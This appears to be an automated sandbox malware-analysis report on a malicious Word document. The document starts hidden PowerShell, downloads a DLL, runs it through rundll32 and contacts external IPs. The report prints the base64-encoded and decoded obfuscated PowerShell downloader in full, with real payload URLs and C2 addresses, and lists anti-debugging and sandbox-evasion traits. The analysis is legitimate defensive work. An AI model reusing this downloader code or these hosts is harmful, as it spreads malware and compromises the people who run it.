Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

barindex
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2512 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100272AB FindFirstFileExW,FindNextFileW,FindClose, 7_2_100272AB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10026EEF FindFirstFileExW, 7_2_10026EEF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_100272AB FindFirstFileExW,FindNextFileW,FindClose, 8_2_100272AB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_10026EEF FindFirstFileExW, 8_2_10026EEF
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini Jump to behavior
Source: powershell.exe, 00000005.00000002.2086069397.0000000000244000.00000004.00000020.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging:

barindex
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10001E91 Control_RunDLL,LoadLibraryA,LoadLibraryA,LoadLibraryA,_strlen,GetProcAddress,GetProcAddress,GetProcAddress,LdrFindResource_U,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,LdrAccessResource,WriteFileGather,VirtualAlloc,MessageBoxA, 7_2_10001E91
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1003B720 IsDebuggerPresent, 7_2_1003B720
Contains functionality to read the PEB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10026594 mov eax, dword ptr fs:[00000030h] 7_2_10026594
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100265D7 mov eax, dword ptr fs:[00000030h] 7_2_100265D7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1002661A mov eax, dword ptr fs:[00000030h] 7_2_1002661A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001065E mov eax, dword ptr fs:[00000030h] 7_2_1001065E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10026675 mov eax, dword ptr fs:[00000030h] 7_2_10026675
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100106EC mov ecx, dword ptr fs:[00000030h] 7_2_100106EC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1002673B mov eax, dword ptr fs:[00000030h] 7_2_1002673B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1002677F mov eax, dword ptr fs:[00000030h] 7_2_1002677F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100267C3 mov eax, dword ptr fs:[00000030h] 7_2_100267C3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100267F4 mov eax, dword ptr fs:[00000030h] 7_2_100267F4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0020C4FF mov eax, dword ptr fs:[00000030h] 7_2_0020C4FF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_10026594 mov eax, dword ptr fs:[00000030h] 8_2_10026594
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_100265D7 mov eax, dword ptr fs:[00000030h] 8_2_100265D7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_1002661A mov eax, dword ptr fs:[00000030h] 8_2_1002661A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_1001065E mov eax, dword ptr fs:[00000030h] 8_2_1001065E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_10026675 mov eax, dword ptr fs:[00000030h] 8_2_10026675
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_100106EC mov ecx, dword ptr fs:[00000030h] 8_2_100106EC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_1002673B mov eax, dword ptr fs:[00000030h] 8_2_1002673B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_1002677F mov eax, dword ptr fs:[00000030h] 8_2_1002677F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_100267C3 mov eax, dword ptr fs:[00000030h] 8_2_100267C3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_100267F4 mov eax, dword ptr fs:[00000030h] 8_2_100267F4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0018C4FF mov eax, dword ptr fs:[00000030h] 8_2_0018C4FF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001CC4FF mov eax, dword ptr fs:[00000030h] 9_2_001CC4FF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0025C4FF mov eax, dword ptr fs:[00000030h] 10_2_0025C4FF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002CC4FF mov eax, dword ptr fs:[00000030h] 11_2_002CC4FF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001BC4FF mov eax, dword ptr fs:[00000030h] 12_2_001BC4FF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001CC4FF mov eax, dword ptr fs:[00000030h] 13_2_001CC4FF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 14_2_0039C4FF mov eax, dword ptr fs:[00000030h] 14_2_0039C4FF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 15_2_0027C4FF mov eax, dword ptr fs:[00000030h] 15_2_0027C4FF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 16_2_0030C4FF mov eax, dword ptr fs:[00000030h] 16_2_0030C4FF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 17_2_0015C4FF mov eax, dword ptr fs:[00000030h] 17_2_0015C4FF
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000288D GetNativeSystemInfo,VirtualAlloc,VirtualAlloc,GetProcessHeap,HeapAlloc,VirtualFree,VirtualAlloc,und_memcpy,SetLastError,SetLastError, 7_2_1000288D
Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10003EE0 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 7_2_10003EE0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10004076 SetUnhandledExceptionFilter, 7_2_10004076
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000E144 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 7_2_1000E144
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10004171 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 7_2_10004171
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_10003EE0 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 8_2_10003EE0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_10004076 SetUnhandledExceptionFilter, 8_2_10004076
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_1000E144 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 8_2_1000E144
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_10004171 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 8_2_10004171

HIPS / PFW / Operating System Protection Evasion:

barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 152.170.79.100 80
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 190.247.139.101 80
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 138.197.99.250 144
Encrypted powershell cmdline option found
Source: unknown Process created: Base64 decoded set-Item vaRiaBLE:3vC ([TypE]("{5}{0}{1}{3}{2}{4}" -F'YSt','Em.Io','IREcTO','.d','Ry','S') ); SeT-ITEm VaRiABlE:549c ( [tYpe]("{4}{1}{0}{2}{3}" -F '.','ystEm','NET.SErvicePOin','TmAnAgER','S') ) ; $ErrorActionPreference = ('S'+('ile'+'n'+'tly')+('Co'+'n')+('t'+'inu')+'e');$A8h2rzb=$F6_A + [char](64) + $L98P;$M00O=('C'+('82'+'Z')); $3VC::"crea`T`E`D`iRecToRy"($HOME + ((('TyV'+'Xt'+'s_n')+('mfTyVP4'+'1')+'88'+('qk'+'T')+'yV') -rEplaCE ('T'+'yV'),[CHar]92));$C42N=(('C'+'13')+'D'); ( lS VARiAbLe:549C ).vaLuE::"sEcU`R`iTypRot`o`cOl" = ('T'+('l'+'s12'));$D77Y=('Z8'+'_V');$Wv6xb57 = (('U9'+'5')+'D');$H01V=(('G9'+'6')+'H');$Tzo7twl=$HOME+(('Jj'+'W'+('Xt'+'s_nm'+'fJjWP4'+'18')+'8'+('q'+'kJ')+'j'+'W')-cRePlaCE ('Jj'+'W'),[CHAR]92)+$Wv6xb57+('.'+('d'+'ll'));$X56P=('L'+('67'+'Q'));$Wt_5wkc=(']b'+('2[s'+':')+('/'+'/'+'fmca')+'v.'+('com'+'/')+('ima'+'ges')+'/7'+('FV4N'+'d'+'/@]b2[s')+(':'+'//')+('thepr'+'a')+('ji'+'n')+('sh'+'ee.')+('c'+'om/ot')+('h'+'e'+'rf'+'iles'+'/wAFP/')+'@]'+('b2[s:'+'/'+'/'+'www.remov'+'ep')+('ctr'+'o')+'ja'+('n'+'.c')+('om/w'+'p')+('-'+'adm')+'in'+'/'+('ak'+'0')+'c'+'h'+('H'+'/@'+']b2')+('[s'+':')+('//w'+'ww.')+'g'+('e'+'osr')+'t.'+('c'+'om')+('/aqq'+'h')+('w'+'dap')+('/l'+'0/@'+']b2[s:')+'//'+'ge'+'o'+'f'+'f'+'og'+('l'+'emusi'+'c.')+'c'+('o'+'m/wp')+('-'+'ad')+('mi'+'n/')+('7'+'C1')+'1'+('o'+'AC/@')+(']b'+'2[s')+(':'+'//')+'ww'+('w'+'.achuta'+'m'+'an')+'as'+('a.'+'c')+('om'+'/g')+'ar'+'mi'+'n'+'-'+('p'+'ro-f')+('e'+'i8o/')+('mW'+'/')+('@]'+'b')
Source: C:\Windows\System32\cmd.exe Process created: Base64 decoded set-Item vaRiaBLE:3vC ([TypE]("{5}{0}{1}{3}{2}{4}" -F'YSt','Em.Io','IREcTO','.d','Ry','S') ); SeT-ITEm VaRiABlE:549c ( [tYpe]("{4}{1}{0}{2}{3}" -F '.','ystEm','NET.SErvicePOin','TmAnAgER','S') ) ; $ErrorActionPreference = ('S'+('ile'+'n'+'tly')+('Co'+'n')+('t'+'inu')+'e');$A8h2rzb=$F6_A + [char](64) + $L98P;$M00O=('C'+('82'+'Z')); $3VC::"crea`T`E`D`iRecToRy"($HOME + ((('TyV'+'Xt'+'s_n')+('mfTyVP4'+'1')+'88'+('qk'+'T')+'yV') -rEplaCE ('T'+'yV'),[CHar]92));$C42N=(('C'+'13')+'D'); ( lS VARiAbLe:549C ).vaLuE::"sEcU`R`iTypRot`o`cOl" = ('T'+('l'+'s12'));$D77Y=('Z8'+'_V');$Wv6xb57 = (('U9'+'5')+'D');$H01V=(('G9'+'6')+'H');$Tzo7twl=$HOME+(('Jj'+'W'+('Xt'+'s_nm'+'fJjWP4'+'18')+'8'+('q'+'kJ')+'j'+'W')-cRePlaCE ('Jj'+'W'),[CHAR]92)+$Wv6xb57+('.'+('d'+'ll'));$X56P=('L'+('67'+'Q'));$Wt_5wkc=(']b'+('2[s'+':')+('/'+'/'+'fmca')+'v.'+('com'+'/')+('ima'+'ges')+'/7'+('FV4N'+'d'+'/@]b2[s')+(':'+'//')+('thepr'+'a')+('ji'+'n')+('sh'+'ee.')+('c'+'om/ot')+('h'+'e'+'rf'+'iles'+'/wAFP/')+'@]'+('b2[s:'+'/'+'/'+'www.remov'+'ep')+('ctr'+'o')+'ja'+('n'+'.c')+('om/w'+'p')+('-'+'adm')+'in'+'/'+('ak'+'0')+'c'+'h'+('H'+'/@'+']b2')+('[s'+':')+('//w'+'ww.')+'g'+('e'+'osr')+'t.'+('c'+'om')+('/aqq'+'h')+('w'+'dap')+('/l'+'0/@'+']b2[s:')+'//'+'ge'+'o'+'f'+'f'+'og'+('l'+'emusi'+'c.')+'c'+('o'+'m/wp')+('-'+'ad')+('mi'+'n/')+('7'+'C1')+'1'+('o'+'AC/@')+(']b'+'2[s')+(':'+'//')+'ww'+('w'+'.achuta'+'m'+'an')+'as'+('a.'+'c')+('om'+'/g')+'ar'+'mi'+'n'+'-'+('p'+'ro-f')+('e'+'i8o/')+('mW'+'/')+('@]'+'b') Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\msg.exe msg user /v Word experienced an error trying to open the file. Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IAAgAHMAZQB0AC0ASQB0AGUAbQAgAHYAYQBSAGkAYQBCAEwARQA6ADMAdgBDACAAIAAoAFsAVAB5AHAARQBdACgAIgB7ADUAfQB7ADAAfQB7ADEAfQB7ADMAfQB7ADIAfQB7ADQAfQAiACAALQBGACcAWQBTAHQAJwAsACcARQBtAC4ASQBvACcALAAnAEkAUgBFAGMAVABPACcALAAnAC4AZAAnACwAJwBSAHkAJwAsACcAUwAnACkAIAAgACkAOwAgACAAIABTAGUAVAAtAEkAVABFAG0AIAAgAFYAYQBSAGkAQQBCAGwARQA6ADUANAA5AGMAIAAgACgAIAAgAFsAdABZAHAAZQBdACgAIgB7ADQAfQB7ADEAfQB7ADAAfQB7ADIAfQB7ADMAfQAiACAALQBGACAAJwAuACcALAAnAHkAcwB0AEUAbQAnACwAJwBOAEUAVAAuAFMARQByAHYAaQBjAGUAUABPAGkAbgAnACwAJwBUAG0AQQBuAEEAZwBFAFIAJwAsACcAUwAnACkAIAApACAAOwAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwAnACsAKAAnAGkAbABlACcAKwAnAG4AJwArACcAdABsAHkAJwApACsAKAAnAEMAbwAnACsAJwBuACcAKQArACgAJwB0ACcAKwAnAGkAbgB1ACcAKQArACcAZQAnACkAOwAkAEEAOABoADIAcgB6AGIAPQAkAEYANgBfAEEAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEwAOQA4AFAAOwAkAE0AMAAwAE8APQAoACcAQwAnACsAKAAnADgAMgAnACsAJwBaACcAKQApADsAIAAkADMAVgBDADoAOgAiAGMAcgBlAGEAYABUAGAARQBgAEQAYABpAFIAZQBjAFQAbwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAFQAeQBWACcAKwAnAFgAdAAnACsAJwBzAF8AbgAnACkAKwAoACcAbQBmAFQAeQBWAFAANAAnACsAJwAxACcAKQArACcAOAA4ACcAKwAoACcAcQBrACcAKwAnAFQAJwApACsAJwB5AFYAJwApACAALQByAEUAcABsAGEA